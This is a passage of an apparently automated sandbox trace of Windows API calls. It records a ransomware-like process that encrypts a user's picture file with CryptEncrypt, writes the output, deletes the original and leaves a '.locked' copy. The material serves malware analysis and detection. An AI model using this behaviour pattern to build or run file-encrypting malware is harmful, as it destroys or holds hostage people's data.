pdwDataLen=0x99ae79c*=0xbf80, dwBufLen=0xbf80 | out: pbData=0x69955c0*, pdwDataLen=0x99ae79c*=0xbf80) returned 1 [0135.827] WriteFile (in: hFile=0x874, lpBuffer=0x697cd94*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x697cd94*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.828] WriteFile (in: hFile=0x874, lpBuffer=0x69965ac*, nNumberOfBytesToWrite=0xaf94, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x69965ac*, lpNumberOfBytesWritten=0x99ae780*=0xaf94, lpOverlapped=0x0) returned 1 [0135.828] ReadFile (in: hFile=0x858, lpBuffer=0x69815b4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x69815b4*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.829] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x69a1564*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x69a1564*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.829] CryptEncrypt (in: hKey=0x8e849b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x69a1598*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x69a1598*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.829] WriteFile (in: hFile=0x874, lpBuffer=0x697cd94*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x697cd94*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.829] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.829] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.829] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.829] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.829] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.830] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 0x20 [0135.830] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.830] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.830] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.831] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.831] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.831] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.831] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.831] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.831] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0135.831] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.831] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.831] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.832] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw")) returned 0x10 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.832] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW", lpFilePart=0x0) returned 0x49 [0135.833] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 0x20 [0135.833] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.833] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.833] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.833] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.833] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif\\", lpFilePart=0x0) returned 0x63 [0135.833] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.833] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.833] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.833] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.833] CoTaskMemFree (pv=0x8eb8930) [0135.834] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 0x20 [0135.834] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.835] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif"), fInfoLevelId=0x0, lpFileInformation=0x69be808 | out: lpFileInformation=0x69be808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd3a590, ftCreationTime.dwHighDateTime=0x1d4a618, ftLastAccessTime.dwLowDateTime=0x4847ed50, ftLastAccessTime.dwHighDateTime=0x1d4a09d, ftLastWriteTime.dwLowDateTime=0x4847ed50, ftLastWriteTime.dwHighDateTime=0x1d4a09d, nFileSizeHigh=0x0, nFileSizeLow=0xbf84)) returned 1 [0135.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.835] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif")) returned 1 [0135.836] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.836] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.836] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.836] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x13, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.836] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.838] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif.locked")) returned 0x20 [0135.838] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\ddv0vhbvkogusrdn0wqa.gif.locked")) returned 0x20 [0135.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", lpFilePart=0x0) returned 0x69 [0135.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif.locked", lpFilePart=0x0) returned 0x69 [0135.838] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\dDv0VhBvkOgUsrdn0wQA.gif", lpFilePart=0x0) returned 0x62 [0135.839] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.839] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.839] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x14, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.839] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.841] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.841] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.841] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x15, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.841] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x16, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.842] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.842] EtwEventActivityIdControl (in: ControlCode=0x3, 